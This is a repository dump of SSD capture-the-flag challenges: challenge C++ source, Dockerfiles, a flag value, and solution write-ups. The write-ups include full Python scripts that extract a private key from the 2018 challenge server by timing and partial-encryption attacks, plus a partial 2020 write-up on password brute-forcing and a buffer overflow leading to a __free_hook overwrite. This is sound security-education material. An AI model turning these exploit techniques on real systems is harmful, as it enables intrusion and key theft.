├── README.md ├── binary-2018-03 ├── README.md ├── challenge │ ├── Makefile │ ├── bevx_cha1.cpp │ └── bevx_lib.c └── solutions │ ├── Solution-Dmitry.md │ ├── Solution-Tim.md │ └── Solution-mongo.md ├── binary-2020-09 ├── README.md └── ssd_challenge ├── binary-2020-11 ├── Dockerfile ├── README.md ├── challenge │ ├── flag │ ├── friend_net │ └── launch.sh └── solution │ └── README.md ├── binary-2020-12-2 ├── Dockerfile ├── README.md ├── challenge │ ├── cobra_kai │ ├── flag │ ├── helper.sh │ ├── launch.sh │ ├── ld.so │ └── libc.so ├── deploy.sh └── solution │ └── README.md ├── binary-2020-12 ├── Dockerfile ├── README.md ├── challenge │ ├── checker │ ├── flag │ ├── helper.sh │ ├── launch.sh │ ├── ld-2.23.so │ ├── libc-2.23.so │ └── libpthread-2.23.so ├── deploy.sh └── solution │ └── README.md ├── binary-2021-11-23 ├── README.md └── mspaint.exe.dmp ├── chrome-ad-heavy ├── README.md ├── adunit.html ├── big.bin ├── gads.js └── index.html ├── max_debugger ├── Dockerfile ├── MaxDebugger ├── README.md ├── docker_deploy.sh ├── flag ├── program.py └── startup.sh └── photo-2018-01 ├── README.md ├── challenge ├── 2018_2.jpg └── README.md └── solution └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # SSD Challenges 2 | ## Photo-2018-01 3 | This was part of our Jan 2018 challenge 4 | 5 | ## Binary-2018-03 6 | This was part of our March 2018 challenge 7 | 8 | ## Binary-2020-09 9 | This was part of our September 2020 challenge 10 | 11 | ## Binary-2020-11 12 | This was part of our November 2020 challenge 13 | 14 | ## Binary-2020-12 15 | This was part of our 1st December 2020 challenge 16 | 17 | ## Binary-2020-12-2 18 | This was part of our 2nd December 2020 challenge 19 | -------------------------------------------------------------------------------- /binary-2018-03/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | During the event of OffensiveCon, we launched a reverse engineering and encryption challenge and gave the attendees the change to win great prizes. 3 | 4 | The challenge was divided into two parts, a file – can be downloaded from here: https://www.beyondsecurity.com/bevxcon/bevx-challenge-1 **NOTE link is no longer valid** – that you had to download and reverse engineer and server that you had to access to have a running version of this file. 5 | 6 | The challenge could not have been resolved without access to the server as the encryption key that you were supposed to extract was only available in the running version on the server. 7 | 8 | We had some great solutions sent to us, some of them were posted below – some arrived after the deadline, and some were not eligible as their solution was incomplete, but in the end we had three winners. 9 | 10 | First place winner got an all paid, flight and hotel, and entry to our security conference beVX in September (2018), second place prize winner got flight and entry to our security conference and the third place winner got a free entry to our event. 11 | 12 | # Challenge Source Code 13 | If you don’t want to get a solution or hints to how to solve it – don’t look at the challenge/ directory files – you have been warned 🙂 14 | -------------------------------------------------------------------------------- /binary-2018-03/challenge/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all clean 2 | CCFLAGS=-std=c++11 -s -Os 3 | OUT_DIR=$(PWD)/build/ 4 | all: out_dir bevx_cha1 5 | bevx_lib.so: bevx_lib.o 6 | g++ -shared -o build/bevx_lib.so build/bevx_lib.o 7 | bevx_lib.o: out_dir bevx_lib.cpp 8 | g++ $(CCFLAGS) -fPIC -c bevx_lib.cpp -o build/bevx_lib.o 9 | bevx_cha1: bevx_cha1.cpp bevx_lib.so 10 | g++ -o build/bevx_cha1 $(CCFLAGS) bevx_cha1.cpp -L$(OUT_DIR) -l:./bevx_lib.so -lstdc++ 11 | out_dir: 12 | mkdir -p $(OUT_DIR) 13 | clean: 14 | rm -rf build/ 15 | -------------------------------------------------------------------------------- /binary-2018-03/challenge/bevx_cha1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #ifdef _WIN 5 | #define IMPORT extern __declspec(dllimport) 6 | #else 7 | #define IMPORT extern 8 | #endif 9 | IMPORT size_t encrypt(size_t num); 10 | IMPORT size_t decrypt(size_t num); 11 | IMPORT const char private_key[]; 12 | IMPORT const size_t private_key_length; 13 | IMPORT const size_t number_of_rows; 14 | class Algo 15 | { 16 | public: 17 | static const size_t ROWS = 0x20; 18 | static const size_t COLS = 0x20; 19 | char table[ROWS][COLS] = { {0} }; 20 | char * password; 21 | union 22 | { 23 | struct 24 | { 25 | size_t unused : 3; 26 | size_t init : 1; 27 | } s1; 28 | size_t number_of_rows : 5; 29 | } u1 = {}; 30 | struct 31 | { 32 | size_t row : 7; 33 | int i : 7; 34 | char exponent[COLS]; 35 | size_t x; 36 | } expo_data = {}; 37 | static void StoreNumber(char * row, size_t num, bool enc = true) 38 | { 39 | if (enc) 40 | num = encrypt(num); 41 | for (int i = COLS - 1; i >= 0; i--) 42 | { 43 | row[i] = num % 2; 44 | num = num / 2; 45 | } 46 | } 47 | static void RetrieveNumber(char * row, size_t& num) 48 | { 49 | num = 0; 50 | for (int i = 0; i < COLS; i++) 51 | { 52 | num = num * 2 + row[i]; 53 | } 54 | num = decrypt(num); 55 | } 56 | void Calculate_next() 57 | { 58 | expo_data.x = expo_data.x * expo_data.x; 59 | if (expo_data.exponent[expo_data.i++] == 1) 60 | { 61 | size_t num = 0; 62 | RetrieveNumber(table[expo_data.row], num); 63 | expo_data.x = expo_data.x * num; 64 | } 65 | } 66 | void End_calc() 67 | { 68 | StoreNumber(table[expo_data.row], std::hash()(expo_data.x)); 69 | u1.s1.init = 0; 70 | u1.s1.init = false; 71 | } 72 | void InitializeExp(size_t row1, size_t row2) 73 | { 74 | std::copy(table[row2], table[row2] + COLS, expo_data.exponent); 75 | expo_data.i = 0; 76 | while (expo_data.exponent[expo_data.i] == 0 && expo_data.i < COLS) 77 | { 78 | ++expo_data.i; 79 | } 80 | expo_data.x = 1; 81 | expo_data.row = row1; 82 | } 83 | void Multiply(size_t row1, size_t row2, size_t row3) 84 | { 85 | size_t num1 = 0, num2 = 0, num3 = 0; 86 | RetrieveNumber(table[row1], num1); 87 | RetrieveNumber(table[row2], num2); 88 | num3 = num1 * num2; 89 | StoreNumber(table[row3], num3); 90 | } 91 | void Add(size_t row1, size_t row2, size_t row3) 92 | { 93 | size_t num1 = 0, num2 = 0, num3 = 0; 94 | RetrieveNumber(table[row1], num1); 95 | RetrieveNumber(table[row2], num2); 96 | num3 = num1 + num2; 97 | StoreNumber(table[row3], num3); 98 | } 99 | void Sub(size_t row1, size_t row2, size_t row3) 100 | { 101 | size_t num1 = 0, num2 = 0, num3 = 0; 102 | RetrieveNumber(table[row1], num1); 103 | RetrieveNumber(table[row2], num2); 104 | num3 = num1 - num2; 105 | StoreNumber(table[row3], num3); 106 | } 107 | void Divide(size_t row1, size_t row2, size_t row3) 108 | { 109 | size_t num1 = 0, num2 = 0, num3 = 0; 110 | RetrieveNumber(table[row1], num1); 111 | RetrieveNumber(table[row2], num2); 112 | if (num2 == 0) 113 | { 114 | return; 115 | } 116 | num3 = num1 / num2; 117 | StoreNumber(table[row3], num3); 118 | } 119 | bool ValidateRowIndex(size_t row) 120 | { 121 | return (row < u1.number_of_rows); 122 | } 123 | void Encryption() 124 | { 125 | if (expo_data.i > COLS - 1) 126 | { 127 | End_calc(); 128 | return; 129 | } 130 | char op = 0; 131 | std::cout << "Continue Encryption? (y/n)" << std::endl; 132 | std::cin >> op; 133 | switch (op) 134 | { 135 | case 'y': 136 | case 'Y': 137 | Calculate_next(); 138 | break; 139 | case 'n': 140 | case 'N': 141 | End_calc(); 142 | break; 143 | } 144 | return; 145 | } 146 | void CopyTable(char t1[ROWS][COLS], char t2[ROWS][COLS]) 147 | { 148 | for (unsigned int i = 0; i < ROWS; i++) 149 | { 150 | size_t num = 0; 151 | RetrieveNumber(t1[i], num); 152 | StoreNumber(t2[i], num, false); 153 | } 154 | } 155 | void PrintTable() 156 | { 157 | #ifdef DEBUG 158 | char t[ROWS][COLS] = { 0 }; 159 | CopyTable(table, t); 160 | size_t col_size = 0x20; 161 | std::cout << " "; 162 | for (int i = 0; i < col_size; i++) 163 | { 164 | std::cout << "--"; 165 | } 166 | std::cout << std::endl; 167 | for (int i = 0; i < u1.number_of_rows; i++) 168 | { 169 | std::cout << "<|"; 170 | for (int j = 0; j < ROWS; j++) 171 | { 172 | std::cout << (char)(('0' + t[i][j])) << "|"; 173 | } 174 | std::cout << ">" << std::endl; 175 | } 176 | std::cout << " "; 177 | for (int i = 0; i < col_size; i++) 178 | { 179 | std::cout << "--"; 180 | } 181 | std::cout << std::endl; 182 | #endif 183 | } 184 | void Init() 185 | { 186 | #ifdef _DEBUG 187 | for (unsigned int i = 0; i < ROWS; i++) 188 | { 189 | StoreNumber(table[i], 0); 190 | } 191 | #endif 192 | } 193 | void MainLoop() 194 | { 195 | bool done = false; 196 | Init(); 197 | password = table[number_of_rows + 2]; 198 | std::copy(&private_key[0], &private_key[0] + private_key_length, password); 199 | password[private_key_length - 1] |= 1; 200 | u1.number_of_rows = number_of_rows; 201 | while (!done) 202 | { 203 | if (u1.s1.init) 204 | { 205 | Encryption(); 206 | continue; 207 | } 208 | size_t op = 0; 209 | std::cout << "Please choose your option:" << std::endl; 210 | std::cout << "0. Store Number" << std::endl; 211 | std::cout << "1. Get Number" << std::endl; 212 | std::cout << "2. Add" << std::endl; 213 | std::cout << "3. Subtract" << std::endl; 214 | std::cout << "4. Multiply" << std::endl; 215 | std::cout << "5. Divide" << std::endl; 216 | std::cout << "6. Private Key Encryption" << std::endl; 217 | std::cout << "7. Binary Representation" << std::endl; 218 | std::cout << "8. Exit" << std::endl; 219 | std::cin >> op; 220 | if (!std::cin) 221 | { 222 | done = true; 223 | break; 224 | } 225 | switch (op) 226 | { 227 | case 0: 228 | { 229 | size_t row = 0; 230 | size_t num = 0; 231 | std::cout << "Enter row and number" << std::endl; 232 | std::cin >> row >> num; 233 | if (!std::cin) 234 | { 235 | done = true; 236 | break; 237 | } 238 | if (!ValidateRowIndex(row)) 239 | { 240 | std::cout << "Row number is out of range" << std::endl; 241 | break; 242 | } 243 | StoreNumber(table[row], num); 244 | break; 245 | } 246 | case 1: 247 | { 248 | size_t row = 0; 249 | size_t num = 0; 250 | std::cout << "Enter row" << std::endl; 251 | std::cin >> row; 252 | if (!std::cin) 253 | { 254 | done = true; 255 | break; 256 | } 257 | if (!ValidateRowIndex(row)) 258 | { 259 | std::cout << "Row number is out of range" << std::endl; 260 | break; 261 | } 262 | RetrieveNumber(table[row], num); 263 | std::cout << "Result is " << num << std::endl; 264 | break; 265 | } 266 | case 2: 267 | { 268 | size_t row1 = 0, row2 = 0, row3 = 0; 269 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl; 270 | std::cin >> row1 >> row2 >> row3; 271 | if (!std::cin) 272 | { 273 | done = true; 274 | break; 275 | } 276 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3))) 277 | { 278 | std::cout << "Row number is out of range" << std::endl; 279 | break; 280 | } 281 | Add(row1, row2, row3); 282 | break; 283 | } 284 | case 3: 285 | { 286 | size_t row1 = 0, row2 = 0, row3 = 0; 287 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl; 288 | std::cin >> row1 >> row2 >> row3; 289 | if (!std::cin) 290 | { 291 | done = true; 292 | break; 293 | } 294 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3))) 295 | { 296 | std::cout << "Row number is out of range" << std::endl; 297 | break; 298 | } 299 | Sub(row1, row2, row3); 300 | break; 301 | } 302 | case 4: 303 | { 304 | size_t row1 = 0, row2 = 0, row3 = 0; 305 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl; 306 | std::cin >> row1 >> row2 >> row3; 307 | if (!std::cin) 308 | { 309 | done = true; 310 | break; 311 | } 312 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3))) 313 | { 314 | std::cout << "Row number is out of range" << std::endl; 315 | break; 316 | } 317 | Multiply(row1, row2, row3); 318 | break; 319 | } 320 | case 5: 321 | { 322 | size_t row1 = 0, row2 = 0, row3 = 0; 323 | std::cout << "Enter row of arg1, row of arg2 and row of result" << std::endl; 324 | std::cin >> row1 >> row2 >> row3; 325 | if (!std::cin) 326 | { 327 | done = true; 328 | break; 329 | } 330 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2) && ValidateRowIndex(row3))) 331 | { 332 | std::cout << "Row number is out of range" << std::endl; 333 | break; 334 | } 335 | Divide(row1, row2, row3); 336 | break; 337 | } 338 | case 6: 339 | { 340 | size_t row1 = 0, row2 = 0; 341 | u1.s1.init = 1; 342 | std::cout << "Enter row of message, row of key" << std::endl; 343 | std::cin >> row1 >> row2; 344 | if (!std::cin) 345 | { 346 | done = true; 347 | break; 348 | } 349 | if (!(ValidateRowIndex(row1) && ValidateRowIndex(row2))) 350 | { 351 | u1.s1.init = 0; 352 | std::cout << "Row number is out of range" << std::endl; 353 | break; 354 | } 355 | InitializeExp(row1, row2); 356 | break; 357 | } 358 | case 7: 359 | { 360 | PrintTable(); 361 | break; 362 | } 363 | case 8: 364 | { 365 | done = true; 366 | break; 367 | } 368 | default: 369 | { 370 | std::cout << "Unknown option." << std::endl; 371 | break; 372 | } 373 | } 374 | } 375 | } 376 | }; 377 | Algo a; 378 | int main() 379 | { 380 | a.MainLoop(); 381 | return 0; 382 | } 383 | -------------------------------------------------------------------------------- /binary-2018-03/challenge/bevx_lib.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #ifdef _WIN 5 | #define EXPORT __declspec(dllexport) 6 | #else 7 | #define EXPORT 8 | #endif 9 | static const size_t COLS = 0x20; 10 | static const size_t PRIVATE_KEY_ROWS = 3; 11 | char EXPORT private_key[PRIVATE_KEY_ROWS][COLS] = { 12 | 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 13 | 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 14 | 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 15 | }; 16 | static const size_t MIN_KEY_LENGTH = 3 * COLS; 17 | size_t EXPORT private_key_length = MIN_KEY_LENGTH; //+ 1 + ((unsigned int)std::rand()) % COLS; 18 | size_t EXPORT number_of_rows = 0x10; 19 | static const size_t WAIT_FOR = 800; 20 | static const size_t XOR_KEY = 0xDF098B52; 21 | EXPORT size_t encrypt(size_t num) 22 | { 23 | std::this_thread::sleep_for(std::chrono::milliseconds(WAIT_FOR)); 24 | return num ^ XOR_KEY; 25 | } 26 | EXPORT size_t decrypt(size_t num) 27 | { 28 | std::this_thread::sleep_for(std::chrono::milliseconds(WAIT_FOR)); 29 | return num ^ XOR_KEY; 30 | } 31 | -------------------------------------------------------------------------------- /binary-2018-03/solutions/Solution-Dmitry.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | It is easy to detect that valid row numbers are 0..15 (thanks to error messages). 3 | 4 | “Private Key Encryption” handling routine sets bit 3 (& 8) of number of rows thus allowing access to rows 16..23. Key is stored in rows 18..20. Each row represents 32-bit value. 5 | 6 | Encryption is just calculation of pow(msgRow, keyRow, 1<<32) 7 | 8 | Fastest method (using timing attack) allows recovering of row value in single pass. Each non-zero bit in exponent requires additional call to decrypt(), that causes sensitive delay. 9 | 10 | But due to difficulties in automation of SSH interactive communication I derives each row in 3 steps: 11 | 1. Find number of bits if exponent (by counting “Continue Encryption? (y/n)” prompts) 12 | 2. Find highest 16 bits of exponent (by stopping encryption 16 bits before its end and brute-forcing 16 bit exponent value) 13 | 3. Find complete exponent (by brute-forcing lowest 16 bits) 14 | 15 | # Python solution 16 | ```python 17 | import sys, subprocess, time 18 | class SSH_beVX(object): 19 | EMSG = "8. Exit" 20 | def send_command(self, cmd): 21 | self.proc.stdin.write(cmd + "\n") 22 | self.proc.stdin.flush() 23 | ln = self.proc.stdout.readline() 24 | assert ln.startswith(cmd) 25 | self.started = time.clock() 26 | def read_line(self): 27 | return self.proc.stdout.readline() 28 | def read_until(self, msg=EMSG): 29 | lines = [] 30 | while True: 31 | lines.append(self.read_line()) 32 | if lines[-1].startswith(msg): 33 | return lines 34 | def write_row(self, row, val): 35 | self.send_command("0") 36 | self.read_line() # Enter row and number 37 | self.send_command("%d %d" % (row, val)) 38 | self.read_until() # Please choose your option: 39 | def read_row(self, row): 40 | self.send_command("1") 41 | self.read_line() # Enter row 42 | self.send_command("%d" % row) 43 | ln = self.read_line() # Result is 44 | assert ln.startswith("Result is") 45 | self.read_until() # Please choose your option: 46 | return int(ln.split()[-1]) 47 | def measure_crypt(self, keyRow, msgRow=0, val=3): 48 | self.write_row(msgRow, val) 49 | self.send_command("6") 50 | self.read_line() # Enter row of message, row of key 51 | self.send_command("%d %d" % (msgRow, keyRow)) 52 | exp = 0 53 | while True: 54 | ln = self.read_line() 55 | delta = time.clock() - self.started 56 | bit = 1 if delta > 0.7 else 0 57 | exp = (exp*2) + bit 58 | sys.stderr.write("\r%8X" % exp) 59 | if not ln.startswith("Continue Encryption? (y/n)"): break 60 | self.send_command("Y") 61 | self.read_until() # Please choose your option: 62 | res = self.read_row(msgRow) 63 | if res != pow(val, exp, 1<<32): 64 | exp ^= 1 65 | if res != pow(val, exp, 1<<32): raise Exception("Can't find key[%d]" % keyRow) 66 | s = ("%08X" % exp).decode("hex") 67 | sys.stderr.write("\r%08X [%s]\n" % (exp, s)) 68 | return s 69 | def __init__(self, host, username, password, port=22): 70 | args = ["plink", "-l", username, "-pw", password, "-P", "%d" % port, host] 71 | self.proc = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1) 72 | def main(): 73 | ssh = SSH_beVX("x.x.x.x", "challenge", "challenge") 74 | ssh.read_until() # Please choose your option: 75 | r = [ssh.measure_crypt(keyRow, 0, 7) for keyRow in xrange(18, 21)] 76 | print "Key is [%s]" % "".join(r) # "beVX Sep 20!" 77 | ssh.send_command("8") 78 | if __name__=="__main__": main() 79 | ``` -------------------------------------------------------------------------------- /binary-2018-03/solutions/Solution-Tim.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | The “encryption” routine operates on 1 bit of the key at a time, modifying an internal ongoing value each step. If the bit is a zero then this value is squared. If the bit is a one then the value is squared and then further multiplied by the value of the “message” that is selected to encrypt. 3 | 4 | Because you can stop the encryption at any point, you can encrypt progressively more of the message, allowed each bit to be extracted by comparing the result with the result for the previous number of bits. 5 | 6 | Script output: 7 | ``` 8 | [+] Connecting to x.x.x.x on port 22: Done 9 | [+] Opening new channel: 'shell': Done 10 | [*] Bit 0 result: 0x1 11 | [*] Key: 0 12 | [*] Bit 1 result: 0x11 13 | [*] Key: 01 14 | [*] Bit 2 result: 0x1331 15 | .... 16 | [*] Bit 28 result: 0xb11e13b1 17 | [*] Key: 01100010011001010101011001011 18 | [*] Bit 29 result: 0x60ffc061 19 | [*] Key: 011000100110010101010110010110 20 | [*] Bit 30 result: 0x91cfa4c1 21 | [*] Key: 0110001001100101010101100101100 22 | ``` 23 | 24 | # Python solution 25 | ```python 26 | #!/usr/bin/env python2 27 | # beVX Challenge 1 exploit script 28 | # - timpwn 29 | import pwn # pip install pwn 30 | import logging 31 | remote = True 32 | # pwn.context.log_level = logging.DEBUG 33 | def set_value(row, value): 34 | r.sendline("0") 35 | r.sendline(str(row)) 36 | r.sendline(str(value)) 37 | r.readuntil(prompt) 38 | def get_value(row): 39 | r.sendline("1") 40 | r.readline() 41 | r.sendline(str(row)) 42 | r.readuntil("Result is ") 43 | response = r.readline() 44 | value = int(response) 45 | r.readuntil(prompt) 46 | return value 47 | def encrypt(message_row, key_row, bit_count): 48 | r.sendline("6") 49 | r.readline() 50 | r.sendline(str(message_row)) 51 | r.sendline(str(key_row)) 52 | continue_prompt = "Continue Encryption? (y/n)" 53 | r.readuntil(continue_prompt) 54 | r.readline() 55 | for i in range(bit_count): 56 | r.sendline("y") 57 | response = r.readline().strip() 58 | # The remote system echoes our input back 59 | if response == "y": 60 | response = r.readline().strip() 61 | if response != continue_prompt: 62 | pwn.log.debug("No more encryption at bit {}".format(i)) 63 | r.readuntil(prompt) 64 | return 65 | r.sendline("n") 66 | r.readuntil(prompt) 67 | def decode_key_row(row): 68 | result = "" 69 | previous_value = 1 70 | # Get data out for incremental encryption key bits 71 | p = pwn.log.progress("Reading row {}".format(row)) 72 | for bit in range(0, 32): 73 | # Encrypt 0x11 using the key in the row specified 74 | p.status("Getting bit {}".format(bit)) 75 | multiplier = 0x11 76 | set_value(0, multiplier) 77 | encrypt(0, row, bit) 78 | v = get_value(0) 79 | pwn.log.debug("Bit {} result: 0x{:x}".format(bit, v)) 80 | # See if our multiplier has been used, which indicates that 81 | # the key has a "1" in this position 82 | previous_squared = previous_value * previous_value 83 | if v == previous_squared & 0xffffffff: 84 | result += "0" 85 | elif v == (previous_squared * multiplier) & 0xffffffff: 86 | result += "1" 87 | elif v == previous_value: 88 | # This means that we've gone past the end of the key, 89 | # so now we know that the first N bits were zeroes 90 | break 91 | else: 92 | pwn.log.warn("Unexpected value!") 93 | result += "?" 94 | pwn.log.debug("Progress: " + result) 95 | previous_value = v 96 | # Add the zeroes that we didn't get to see at the start of the key 97 | result = ("0" * (32-len(result))) + result 98 | p.success("Got row, value: " + result) 99 | return result 100 | def connect(): 101 | if remote: 102 | ssh = pwn.ssh(user="challenge", 103 | host="x.x.x.x", 104 | password="challenge") 105 | r = ssh.shell() 106 | prompt = "8. Exit\r\n" 107 | else: 108 | r = pwn.process("./cha1") 109 | prompt = "8. Exit\n" 110 | return (r, prompt) 111 | r, prompt = connect() 112 | r.readuntil(prompt) 113 | # We can get rows 18-20 ok, after which no encryption cycles are possible - 114 | # this is most likely because the rows are all zeroes. 115 | rows_bits = list() 116 | for row in range(18, 21): 117 | partial_key = decode_key_row(row) 118 | rows_bits.append(partial_key) 119 | # Pad out and combine the key parts 120 | combined = "" 121 | for r in rows_bits: 122 | padded = ("0" * (32 - len(r))) + r 123 | print "Row value:", hex(int(padded, 2)) 124 | combined += "{:04x}".format(int(padded, 2)) 125 | pwn.log.info("Key: " + repr(combined.decode("hex"))) 126 | ``` 127 | -------------------------------------------------------------------------------- /binary-2018-03/solutions/Solution-mongo.md: -------------------------------------------------------------------------------- 1 | # Python solution 2 | ```python 3 | import operator 4 | import ctypes, sys, re, os 5 | from pwn import * 6 | from pwnlib.tubes.ssh import * 7 | remote = 1 8 | if not remote: 9 | conn = ssh(host='192.168.1.5', user='cha1', password='cha1') 10 | else: 11 | conn = ssh(host='x.x.x.x', user='challenge', password='challenge') 12 | s = conn.shell() 13 | s.sendall = s.send 14 | s.recvuntil("\r\n") 15 | s.recvuntil("8. Exit") 16 | def store(idx, val): 17 | s.sendall("0\n%d\n%d\n" % (idx, val)) 18 | s.recvuntil("8. Exit") 19 | def get(idx): 20 | s.sendall("1\n%d\n" % (idx)) 21 | s.recvuntil("Result is ") 22 | v = int(s.recvuntil("\r\n")) 23 | s.recvuntil("8. Exit") 24 | return v 25 | def privateenc(msg_idx, key_idx): 26 | s.sendall("6\n") 27 | s.recvuntil("Enter row of message, row of key\r\n") 28 | s.sendall("%d\n%d\n" % (msg_idx, key_idx)) 29 | s.recvuntil("\n") 30 | s.recvuntil("\n") 31 | def reset(): 32 | for i in range(16): 33 | store(i, 0) 34 | def get_key_part(key_idx): 35 | privateenc(16, key_idx) 36 | times = 0 37 | """ 38 | check the number of bits left in this key part 39 | """ 40 | for i in range(32): 41 | v = s.recvuntil("\r\n").strip() 42 | #print "<<", v 43 | if "Continue Encryption" in v: 44 | s.sendall("y\n") 45 | s.recvuntil("\n") 46 | times += 1 47 | else: 48 | break 49 | s.recvuntil("8. Exit") 50 | print "key %d bits = %d" % (key_idx, times) 51 | num_bits = times 52 | """ 53 | now, get key_part 54 | keep in mind result is multiplied by itself at every step 55 | if key bit is 1, we also multiply by 3 (baseval) 56 | """ 57 | baseval = 3 58 | pos = 32 - num_bits - 1 59 | skip = 0 60 | cur_val = 1 61 | key_part = 0 62 | for i in range(32 - num_bits, 32): 63 | store(0, baseval) 64 | privateenc(0, key_idx) 65 | val_if_1 = ((cur_val * cur_val) * baseval) & 0xFFFFFFFF 66 | val_if_0 = ((cur_val * cur_val)) & 0xFFFFFFFF 67 | times = 0 68 | for i in range(skip + 1): 69 | v = s.recvuntil("\n").strip() 70 | s.sendall("y\n") 71 | s.recvuntil("\n") 72 | v = s.recvuntil("\n").strip() 73 | if "Continue" in v: 74 | s.sendall("n\n") 75 | s.recvuntil("\n") 76 | s.recvuntil("8. Exit") 77 | res = get(0) 78 | #print "res=", res 79 | if res not in [val_if_0, val_if_1]: 80 | print res 81 | print [val_if_0, val_if_1] 82 | raise "Fail" 83 | key_part = (key_part << 1) | (1 if res == val_if_1 else 0) 84 | cur_val = res 85 | skip += 1 86 | print bin(key_part), "%08X" % key_part, ("%08X" % key_part).decode('hex') 87 | for i in range(18, 22): 88 | get_key_part(i) 89 | s.close() 90 | ``` -------------------------------------------------------------------------------- /binary-2020-09/README.md: -------------------------------------------------------------------------------- 1 | # Welcome to our September - 2020 challenge 2 | This challenge comes as a binary with a certain vulnerability in it! 3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a custom gift box. 4 | -------------------------------------------------------------------------------- /binary-2020-09/ssd_challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-09/ssd_challenge -------------------------------------------------------------------------------- /binary-2020-11/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get update -y && apt-get install socat -y 7 | 8 | # Create ctf-user 9 | RUN groupadd -r ctf && useradd -r -g ctf ctf 10 | RUN mkdir /home/ctf 11 | 12 | ADD challenge/launch.sh /home/ctf/launch.sh 13 | 14 | # Challenge files 15 | ADD challenge/flag /home/ctf/flag 16 | ADD challenge/friend_net /home/ctf/friend_net 17 | 18 | # Set some proper permissions 19 | RUN chown -R root:ctf /home/ctf 20 | RUN chmod 750 /home/ctf/friend_net 21 | RUN chmod 750 /home/ctf/launch.sh 22 | RUN chmod 440 home/ctf/flag 23 | 24 | ENTRYPOINT /home/ctf/launch.sh 25 | -------------------------------------------------------------------------------- /binary-2020-11/README.md: -------------------------------------------------------------------------------- 1 | # Welcome to our November - 2020 challenge 2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it! 3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a custom gift box. 4 | 5 | Solutions should be provided in: 6 | 1. python2 or python3 (preferred) form 7 | 2. Solution should connect via port 2323 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script 8 | 3. If you are not using existing modules, provide a `requirements.txt` file 9 | 10 | ## Notes on files under challenge folder 11 | While the `flag`, `friend_net` (hash: cbb7cb654080beea8241dfdd331312530c172c57d5e4604716dc1588bfee6e6b), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment. 12 | 13 | 14 | ## Notes on setting on the ENV for the challenge 15 | ### Build container 16 | ```bash 17 | sudo docker build --tag friend_net . 18 | ``` 19 | 20 | ### Run container with port 2323 being exposed 21 | ```bash 22 | sudo docker run --detach -p 2323:2323 friend_net 23 | ``` 24 | 25 | ### Debugging 26 | ```bash 27 | sudo docker exec -it bash 28 | ``` 29 | -------------------------------------------------------------------------------- /binary-2020-11/challenge/flag: -------------------------------------------------------------------------------- 1 | S3Dflg{1PC_D0NT_Tr03t_A11_y0U_s33} 2 | -------------------------------------------------------------------------------- /binary-2020-11/challenge/friend_net: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-11/challenge/friend_net -------------------------------------------------------------------------------- /binary-2020-11/challenge/launch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | socat -t20 -T20 TCP-LISTEN:2323,reuseaddr,fork EXEC:"/home/ctf/friend_net" 3 | -------------------------------------------------------------------------------- /binary-2020-11/solution/README.md: -------------------------------------------------------------------------------- 1 | # SSD November Challenge (by Robert Chen - @NotDeGhost) 2 | The first vulnerability was improper hashing. 3 | 4 | ```c 5 | while (i < size) { 6 | tmp_value._0_1_ = input[i]; 7 | if ((int)(char)tmp_value * 10 < 0x20) { 8 | tmp_value._0_1_ = (char)tmp_value % '\x05'; 9 | } 10 | else { 11 | tmp_value._0_1_ = (char)(((int)(char)tmp_value * 0x124343) % 0xef); 12 | } 13 | input[i] = (char)tmp_value; 14 | i = i + 1; 15 | } 16 | ``` 17 | 18 | Upon seeing this, I was immediately suspicious. Most hash functions, even handrolled ones, have both addition and multiplication? I didn't really understand what was going on, but analysis through GDB showed that the values tended towards very high values (ie `0xfc, 0xfd, 0xfe, 0xff, 0x00`). 19 | 20 | Because the hash is done per character, I handpicked a few characters with distinct hash values after running them through the max repetition of hashes. From here, we can easily brute force the 4 byte long admin password. 21 | ```python 22 | chrs = ["a", "c", "d", "e", "j"] 23 | for i1 in range(len(chrs)): 24 | print(str(i1) + " / 4") 25 | for i2 in range(len(chrs)): 26 | for i3 in range(len(chrs)): 27 | for i4 in range(len(chrs)): 28 | ``` 29 | 30 | After getting access to the admin interface, I used a buffer overflow in the "Set Header" functionality of the admin panel. Specifically, this allowed us to overwrite a `char*` and then read into it, effectively giving an arbitrary read/write primitive. 31 | 32 | I chose to overwrite `__free_hook` with a `mov rsp, [rdi + 